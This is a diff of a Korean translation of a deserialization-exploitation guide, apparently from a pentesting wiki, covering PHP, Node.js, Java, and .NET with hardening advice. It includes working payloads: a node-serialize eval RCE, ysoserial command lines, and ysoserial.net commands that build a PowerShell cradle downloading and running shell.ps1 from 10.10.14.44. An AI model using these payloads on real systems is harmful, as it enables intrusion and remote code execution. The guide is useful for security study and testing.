> } > ``` -설명된 **PHP 예제를 여기에서** 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) +설명된 **PHP 예제는 여기에서** 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP Deserial + Autoload Classes @@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md ### 참조된 값 직렬화 -어떤 이유로 값을 **직렬화된 다른 값에 대한 참조로** 직렬화하고 싶다면 다음과 같이 할 수 있습니다: +어떤 이유로 값을 **직렬화된 다른 값에 대한 참조**로 직렬화하고 싶다면 다음과 같이 할 수 있습니다: ```php ) @@ -233,9 +233,9 @@ console.log("Serialized: \n" + payload_serialized) 마지막 코드 조각에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 안에서 사용됩니다**. -하지만, **함수를 단순히 직렬화하는 것만으로는** 실행되지 않으며, 우리 예제에서 **어떤 코드가 `y.rce`를 호출해야** 하므로 이는 매우 **가능성이 낮습니다**.\ +하지만, **함수를 단순히 직렬화하는 것만으로는** 그것이 실행되지 않습니다. 왜냐하면 코드의 일부가 **`y.rce`를 호출해야 하기 때문**이며, 이는 매우 **가능성이 낮습니다**.\ 어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가**하면 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\ -다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방식을 주목하세요: +다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방법에 주목하세요: ```javascript var serialize = require("node-serialize") var test = { @@ -243,20 +243,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er } serialize.unserialize(test) ``` -이전에 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행합니다** `eval`을 사용하여. 따라서 **코드를 자동으로 실행**하려면 **함수 생성** 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너를 실행**하면 됩니다: +이전에 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행합니다** `eval`을 사용하여. 따라서 **코드를 자동으로 실행**하려면 **함수 생성** 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너**를 **실행**하면 됩니다: ```javascript var serialize = require("node-serialize") var test = "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" serialize.unserialize(test) ``` -여기에서 이 취약점을 악용하는 방법에 대한 **추가 정보**를 [**찾을 수 있습니다**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/). +여기에서 이 취약점을 악용하는 방법에 대한 [**추가 정보**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)를 찾을 수 있습니다. ### [funcster](https://www.npmjs.com/package/funcster) -**funcster**의 주목할 만한 측면은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()` 또는 `require(something)`와 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다. +**funcster**의 주목할 만한 측면은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()`나 `require(something)`와 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다. -이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다: +이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 완전한 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다: ```javascript funcster = require("funcster") //Serialization @@ -278,7 +278,7 @@ __js_function: } funcster.deepDeserialize(desertest3) ``` -**자세한 정보는 이 출처를 읽으세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**자세한 정보는 이 출처를 읽어보세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) @@ -288,7 +288,7 @@ function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") } ``` -이 기능이 객체를 역직렬화하는 데 사용된다면 **쉽게 악용할 수 있습니다**: +이 함수가 객체를 역직렬화하는 데 사용된다면, 당신은 **쉽게 이를 악용할 수 있습니다**: ```javascript var serialize = require("serialize-javascript") //Serialization @@ -304,7 +304,7 @@ deserialize(test) ``` **자세한 정보는 이 출처를 읽어보세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** -### Cryo 라이브러리 +### Cryo library 다음 페이지에서는 이 라이브러리를 악용하여 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다: @@ -313,11 +313,11 @@ deserialize(test) ## Java - HTTP -Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니다**. 이 실행은 공격자가 이러한 콜백을 유발하는 악성 페이로드를 제작하여 악성 행동을 실행할 수 있도록 악용될 수 있습니다. +Java에서는 **deserialization 콜백이 deserialization 과정 중에 실행됩니다**. 이 실행은 악의적인 페이로드를 제작하는 공격자에 의해 악용될 수 있으며, 이는 해로운 행동의 실행으로 이어질 수 있습니다. -### 지문 +### Fingerprints -#### 화이트 박스 +#### White Box 코드베이스에서 잠재적인 직렬화 취약점을 식별하기 위해 다음을 검색하세요: @@ -327,22 +327,22 @@ Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니 다음에 특히 주의하세요: - 외부 사용자가 정의한 매개변수와 함께 사용되는 `XMLDecoder`. -- XStream 버전이 1.46 이하인 경우, 직렬화 문제에 취약한 `XStream`의 `fromXML` 메서드. +- `XStream`의 `fromXML` 메서드, 특히 XStream 버전이 1.46 이하인 경우, 직렬화 문제에 취약합니다. - `readObject` 메서드와 함께 사용되는 `ObjectInputStream`. - `readObject`, `readObjectNodData`, `readResolve`, 또는 `readExternal`과 같은 메서드의 구현. - `ObjectInputStream.readUnshared`. - `Serializable`의 일반적인 사용. -#### 블랙 박스 +#### Black Box -블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "매직 바이트"**를 찾으세요 (`ObjectInputStream`에서 유래): +블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "Magic Bytes"**를 찾으세요 (`ObjectInputStream`에서 유래): - 16진수 패턴: `AC ED 00 05`. - Base64 패턴: `rO0`. - `Content-type`이 `application/x-java-serialized-object`로 설정된 HTTP 응답 헤더. - 이전 압축을 나타내는 16진수 패턴: `1F 8B 08 00`. - 이전 압축을 나타내는 Base64 패턴: `H4sIA`. -- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState 역직렬화에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다. +- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다. ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` @@ -359,15 +359,15 @@ grep -R InvokeTransformer . ``` 당신은 **취약한 모든 라이브러리**를 확인하고 [**Ysoserial**](https://github.com/frohoff/ysoserial)이 제공할 수 있는 익스플로잇을 찾을 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에 표시된 라이브러리를 확인할 수 있습니다.\ 또한 [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)를 사용하여 익스플로잇할 수 있는 가능한 가젯 체인을 검색할 수 있습니다.\ -**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며 잘못된 긍정 결과를 나타낼 수 있습니다**. +**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며, 잘못된 긍정 결과를 나타낼 수 있습니다**. #### 블랙 박스 테스트 -Burp 확장 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하여 **어떤 라이브러리가 사용 가능한지**(버전 포함) 식별할 수 있습니다. 이 정보를 통해 취약점을 익스플로잇할 **페이로드를 선택하기가 더 쉬워질 수 있습니다**.\ +Burp 확장 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하여 **어떤 라이브러리가 사용 가능한지**(버전 포함) 식별할 수 있습니다. 이 정보를 통해 **취약점을 익스플로잇할 페이로드를 선택하기가 더 쉬워질 수 있습니다**.\ [**GadgetProbe에 대해 더 알아보려면 여기를 읽으세요.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ GadgetProbe는 **`ObjectInputStream` deserialization**에 중점을 두고 있습니다. -Burp 확장 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하여 **ysoserial로 익스플로잇할 수 있는 취약한 라이브러리**를 **식별하고** 익스플로잇할 수 있습니다.\ +Burp 확장 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하여 **ysoserial로 익스플로잇할 수 있는 취약한 라이브러리**를 **식별**하고 **익스플로잇**할 수 있습니다.\ [**Java Deserialization Scanner에 대해 더 알아보려면 여기를 읽으세요.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중점을 두고 있습니다. @@ -376,16 +376,16 @@ Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중 **직렬화 테스트** -서버에서 취약한 라이브러리가 사용되는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\ -웹 애플리케이션으로 전송되는 자바 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 인간이 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다. +서버에서 취약한 라이브러리가 사용되고 있는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\ +웹 애플리케이션에 전송되는 자바 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다. ### **익스플로잇** #### **ysoserial** -Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial) ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))입니다. 복잡한 명령(예: 파이프 사용)을 사용할 수 있도록 해주는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) 사용을 고려할 수도 있습니다.\ +Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial)입니다 ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 또한 복잡한 명령(예: 파이프 사용)을 사용할 수 있는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)를 사용하는 것도 고려할 수 있습니다.\ 이 도구는 **`ObjectInputStream`** 익스플로잇에 **중점을 두고** 있습니다.\ -나는 **RCE** 페이로드를 테스트하기 전에 **"URLDNS"** 페이로드를 **사용하기 시작할 것입니다**. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다. +나는 **RCE** 페이로드 전에 **"URLDNS"** 페이로드를 사용하여 주입이 가능한지 테스트하는 것을 **시작할 것입니다**. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, "$()"를 사용하여 명령을 실행하거나, 심지어 **공백으로 구분된 인수를 명령에 전달할 수 없습니다** (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다. +**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, 명령을 실행하기 위해 "$()"를 사용하거나, **공백으로 구분된 인수를 명령에 전달할 수 없습니다** (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다. 다음 스크립트를 사용하여 Windows와 Linux에 대한 **모든 가능한 코드 실행** 페이로드를 생성한 후 취약한 웹 페이지에서 테스트해 보세요: ```python @@ -461,7 +461,7 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti [**marshalsec** ](https://github.com/mbechler/marshalsec)는 Java에서 다양한 **Json** 및 **Yml** 직렬화 라이브러리를 악용하기 위한 페이로드를 생성하는 데 사용할 수 있습니다.\ 프로젝트를 컴파일하기 위해 `pom.xml`에 이 **dependencies**를 **추가**해야 했습니다: -```markup +```html javax.activation activation @@ -475,7 +475,7 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti pom ``` -**Maven을 설치하고**, **프로젝트를 컴파일**하세요: +**maven을 설치**하고, **프로젝트를 컴파일**하세요: ```bash sudo apt-get install maven mvn clean package -DskipTests @@ -510,15 +510,15 @@ public class myAccount implements Serializable private transient double profit; // declared transient private transient double margin; // declared transient ``` -#### Serializable을 구현해야 하는 클래스의 직렬화를 피하십시오 +#### Serializable를 구현해야 하는 클래스의 직렬화를 피하십시오 -특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키는 `final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다: +특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해 이러한 객체가 비역직렬화 가능하도록 `final` `readObject()` 메서드를 정의하여 항상 예외를 발생시키도록 하십시오. 아래와 같이: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` -#### **Java에서 역직렬화 보안 강화하기** +#### **Java에서 역직렬화 보안 강화** **`java.io.ObjectInputStream` 사용자 정의**는 역직렬화 프로세스를 보호하기 위한 실용적인 접근 방식입니다. 이 방법은 다음과 같은 경우에 적합합니다: @@ -546,11 +546,11 @@ return super.resolveClass(desc); } } ``` -**보안 강화를 위한 Java 에이전트 사용**은 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다: +**Java 에이전트를 사용한 보안 강화**는 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다: ``` -javaagent:name-of-agent.jar ``` -역동적으로 역직렬화를 안전하게 하는 방법을 제공하며, 즉각적인 코드 변경이 비현실적인 환경에 이상적입니다. +동적으로 역직렬화를 안전하게 하는 방법을 제공하며, 즉각적인 코드 변경이 비현실적인 환경에 이상적입니다. [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)에서 예제를 확인하세요. @@ -568,7 +568,7 @@ return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` -**외부 라이브러리를 활용한 보안 강화**: **NotSoSerial**, **jdeserialize**, 및 **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스의 화이트리스트 또는 블랙리스트 작성, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다. +**외부 라이브러리를 활용한 보안 강화**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스의 화이트리스트 또는 블랙리스트 작성, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다. - **NotSoSerial**은 신뢰할 수 없는 코드의 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다. - **jdeserialize**는 역직렬화하지 않고도 직렬화된 Java 객체를 분석할 수 있게 하여 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움을 줍니다. @@ -588,9 +588,9 @@ ObjectInputFilter.Config.setSerialFilter(filter); - Java 및 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - 역직렬화 CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) -## JNDI 인젝션 및 log4Shell +## JNDI 주입 및 log4Shell -**JNDI 인젝션이란 무엇인지, RMI, CORBA 및 LDAP를 통해 이를 악용하는 방법, log4shell을 이용한 공격 방법**에 대한 내용은 다음 페이지에서 확인할 수 있습니다: +**JNDI 주입, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**를 다음 페이지에서 확인하세요: {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md @@ -610,12 +610,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### 악용 -기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면(일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\ -이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것임을 의미합니다**. +기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면 (일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\ +이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것**임을 의미합니다. -서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다. +서비스가 취약하더라도 (사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다. -도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하는 서비스에 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우에 작동합니다. +도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하여 이 서비스를 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우에 작동합니다. ### 참고 문헌 @@ -624,43 +624,43 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## .Net -.Net의 맥락에서 역직렬화 악용은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중에 특정 코드를 실행합니다. +.Net의 맥락에서 역직렬화 악용은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중 특정 코드를 실행합니다. ### 지문 #### 화이트박스 -소스 코드는 다음의 발생 여부를 검사해야 합니다: +소스 코드를 검사하여 다음 항목의 발생 여부를 확인해야 합니다: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` -사용자 제어 하에 변수에 의해 유형이 결정될 수 있는 직렬 변환기에 초점을 맞춰야 합니다. +사용자 제어 하에 변수를 통해 유형을 결정할 수 있는 직렬화기에 초점을 맞춰야 합니다. #### 블랙박스 -검색은 서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 목표로 해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`을 포함한 **JSON** 또는 **XML** 구조가 포함될 수 있습니다. +서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 검색해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`이 포함된 **JSON** 또는 **XML** 구조가 포함될 수 있지만 이에 국한되지 않습니다. ### ysoserial.net 이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 악용을 생성할 수 있습니다**. git 리포지토리를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 **도구를 컴파일해야 합니다**. -**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터가 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터에 대해 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). **ysoserial.net**의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 및 **`--plugin`**입니다. -- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다(역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정). -- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 이를 직렬화하는 데 동일한 것을 사용해야 합니다). -- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**(Windows에서 기본적으로 사용되는 인코딩)로 **인코딩**하므로, 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 이는 항상 작동한다는 의미는 아닙니다)._ +- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다 (명령을 실행하기 위해 역직렬화 중 악용될 클래스/함수를 지정). +- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 이를 직렬화하는 데 동일한 것을 사용해야 합니다). +- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 **인코딩**하므로 (Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다 (HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 항상 작동한다는 의미는 아닙니다)._ - **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크를 위한 악용을 제작하기 위해 플러그인을 지원합니다**. #### ysoserial.net의 추가 매개변수 -- `--minify`는 **더 작은 페이로드**를 제공합니다(가능한 경우). +- `--minify`는 **더 작은 페이로드**를 제공합니다 (가능한 경우). - `--raf -f Json.Net -c "anything"` 이는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다. -- `--sf xml`는 **가젯을 지정**(`-g`)할 수 있으며, ysoserial.net은 "xml"을 포함하는 포맷터를 검색합니다(대소문자 구분 없음). +- `--sf xml`는 **가젯을 지정**(`-g`)하고 ysoserial.net이 "xml"을 포함하는 포맷터를 검색하도록 합니다 (대소문자 구분 없음). -**ysoserial 예제**를 통해 악용을 생성합니다: +**ysoserial 예시**를 통한 악용 생성: ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 @@ -679,8 +679,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net**에는 각 익스플로잇이 어떻게 작동하는지 더 잘 이해하는 데 도움이 되는 **매우 흥미로운 매개변수**가 있습니다: `--test`\ -이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서 익스플로잇을 시도**하므로 페이로드가 올바르게 작동하는지 테스트할 수 있습니다.\ -이 매개변수는 유용한데, 코드를 검토하면 다음과 같은 코드 조각을 찾을 수 있습니다 (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): +이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서 익스플로잇을 시도**하므로 페이로드가 제대로 작동하는지 테스트할 수 있습니다.\ +이 매개변수는 코드 검토 시 다음과 같은 코드 조각을 찾을 수 있기 때문에 유용합니다 (from 